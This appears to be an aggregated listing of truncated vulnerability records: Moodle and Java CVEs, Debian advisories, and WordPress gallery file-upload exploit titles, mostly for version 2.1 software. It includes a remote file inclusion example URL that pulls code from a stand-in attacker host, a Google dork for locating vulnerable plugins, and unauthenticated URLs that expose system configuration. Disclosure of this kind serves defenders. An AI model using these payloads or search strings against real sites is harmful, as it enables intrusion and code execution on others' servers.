CVE-2011-4302

mnet/xmlrpc/client.php in MNET in Moodle 1.9.x before 1.9.14, 2.0.x before 2.0.5, and 2.1.x before 2.1.2 does not properly process the return value of the opensslverify function, which allows remote attackers to bypass validation via a crafted certificate...

CVE-2011-4309

Moodle 2.0.x before 2.0.5 and 2.1.x before 2.1.2 allows remote attackers to bypass intended access restrictions and perform global searches by leveraging the guest role and making a direct request to a URL...

PT-2012-1851 · Moodle · Moodle

Name of the Vulnerable Software and Affected Versions: Moodle versions 2.0.x through 2.0.4 Moodle versions 2.1.x through 2.1.1 Description: The issue allows remote attackers to bypass intended access restrictions by leveraging the hubs feature, due to the incorrect setting of the registration...

PT-2012-1852 · Moodle · Moodle

Name of the Vulnerable Software and Affected Versions: Moodle versions 2.0.x through 2.0.4 Moodle versions 2.1.x through 2.1.1 Description: The issue affects the chat functionality, allowing remote authenticated users to discover the name of any user via a beep operation. Recommendations: For...

CVE-2012-3846

Cross-site scripting XSS vulnerability in index.php in PHP-pastebin 2.1 allows remote attackers to inject arbitrary web script or HTML via the title parameter...

CVE-2012-3846

CVE-2012-3846 affects PHP-pastebin 2.1. The vulnerability is a cross-site scripting (XSS) flaw in index.php, exploitable via the title parameter to inject arbitrary web script or HTML. Several sources (NVD entry and related CVE records) confirm this issue. The provided documents do not specify th...

Bookmark4U 2.1 Remote File Inclusion

vendor - http://bookmark4u.sourceforge.net/ version - 2.1 solution - product discontinued example - http://target/bookmark4u/lostpasswd.php?env%5Bincludeprefix%5D=http://attacker/path/to/file.txt???...

IBM DeveloperWorks NCP 2.1 Information Disclosure

http://www.ibm.com/developerworks/systems/articles/freetools/index.html Can visit ncp pages and get info without authentication! http://target:8282/ gives version http://target:8282/real/lsconf.html detailed config info including: System Model Machine Serial Number Processor Type Number of...

CVE-2012-1713

Unspecified vulnerability in the Java Runtime Environment JRE component in Oracle Java SE 7 update 4 and earlier, 6 update 32 and earlier, 5 update 35 and earlier, 1.4.237 and earlier, and JavaFX 2.1 and earlier allows remote attackers to affect confidentiality, integrity, and availability via...

Wordpress Plugins - Slideshow Pro Arbitrary File Upload Vulnerability

Exploit for php platform in category web applications 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 1 1 /' \ /'\ /\ \ /'\ 0 0 /, \ /\/\ \ \ \ \ ,/\ /\ \ 1 1 //\ \ /' \ /\ //\ Exploit database separated by exploit 0 0 // type local, remote, DoS, etc. 1 1 1 0 +...

Wordpress Plugins - Matrix Gallery Arbitrary File Upload Vulnerability

Exploit for php platform in category web applications 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 1 1 /' \ /'\ /\ \ /'\ 0 0 /, \ /\/\ \ \ \ \ ,/\ /\ \ 1 1 //\ \ /' \ /\ //\ Exploit database separated by exploit 0 0 // type local, remote, DoS, etc. 1 1 1 0 +...

Wordpress Plugins - Royal Gallery Arbitrary File Upload Vulnerability

Exploit for php platform in category web applications 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 1 1 /' \ /'\ /\ \ /'\ 0 0 /, \ /\/\ \ \ \ \ ,/\ /\ \ 1 1 //\ \ /' \ /\ //\ Exploit database separated by exploit 0 0 // type local, remote, DoS, etc. 1 1 1 0 +...

WordPress RBX Gallery 2.1 Shell Upload

Description : Wordpress Plugins - RBX Gallery Multiple Arbitrary File Upload Vulnerability Version : 2.1 Link : http://wordpress.org/extend/plugins/rbxgallery/ Plugins : http://downloads.wordpress.org/plugin/rbxgallery.2.1.zip Date : 03-06-2012 Google Dork : inurl:/wp-content/plugins/rbxgallery/...

Wordpress Plugins - 3D Flick Slideshow Arbitrary File Upload Vulnerability

Exploit for php platform in category web applications 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 1 1 /' \ /'\ /\ \ /'\ 0 0 /, \ /\/\ \ \ \ \ ,/\ /\ \ 1 1 //\ \ /' \ /\ //\ Exploit database separated by exploit 0 0 // type local, remote, DoS, etc. 1 1 1 0 +...

Wordpress Plugins - wp Dreamwork Gallery Arbitrary File Upload Vulnerability

Exploit for php platform in category web applications 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 1 1 /' \ /'\ /\ \ /'\ 0 0 /, \ /\/\ \ \ \ \ ,/\ /\ \ 1 1 //\ \ /' \ /\ //\ Exploit database separated by exploit 0 0 // type local, remote, DoS, etc. 1 1 1 0 +...

CVE-2012-1395

Unspecified vulnerability in the GO TwiWidget com.gau.go.launcherex.gowidget.twitterwidget application 1.7 and 2.1 for Android has unknown impact and attack vectors...

Fedora 17 : java-1.7.0-openjdk-1.7.0.3-2.1.fc17 (2012-2595)

Updated to OpenJDK7u3/IcedTea7 2.1 - Removed upstreamed glibc nameclash patch - Added patch to remove the -mimpure option to gcc - Security fixes : - S7112642, CVE-2012-0497: Incorrect checking for graphics rendering object - S7082299, CVE-2011-3571: AtomicReferenceArray insufficient array type...

[SECURITY] Fedora 16 Update: java-1.7.0-openjdk-1.7.0.3-2.1.fc16

The OpenJDK runtime environment...

Debian Security Advisory DSA 2338-1 (moodle)

The remote host is missing an update to moodle announced via advisory DSA 2338-1. OpenVAS Vulnerability Test $Id: deb23381.nasl 6612 2017-07-07 12:08:03Z cfischer $ Description: Auto-generated from advisory DSA 2338-1 moodle Authors: Thomas Reinke Copyright: Copyright c 2012 E-Soft Inc...

Debian Security Advisory DSA 2328-1 (freetype)

The remote host is missing an update to freetype announced via advisory DSA 2328-1. OpenVAS Vulnerability Test $Id: deb23281.nasl 6612 2017-07-07 12:08:03Z cfischer $ Description: Auto-generated from advisory DSA 2328-1 freetype Authors: Thomas Reinke Copyright: Copyright c 2012 E-Soft Inc...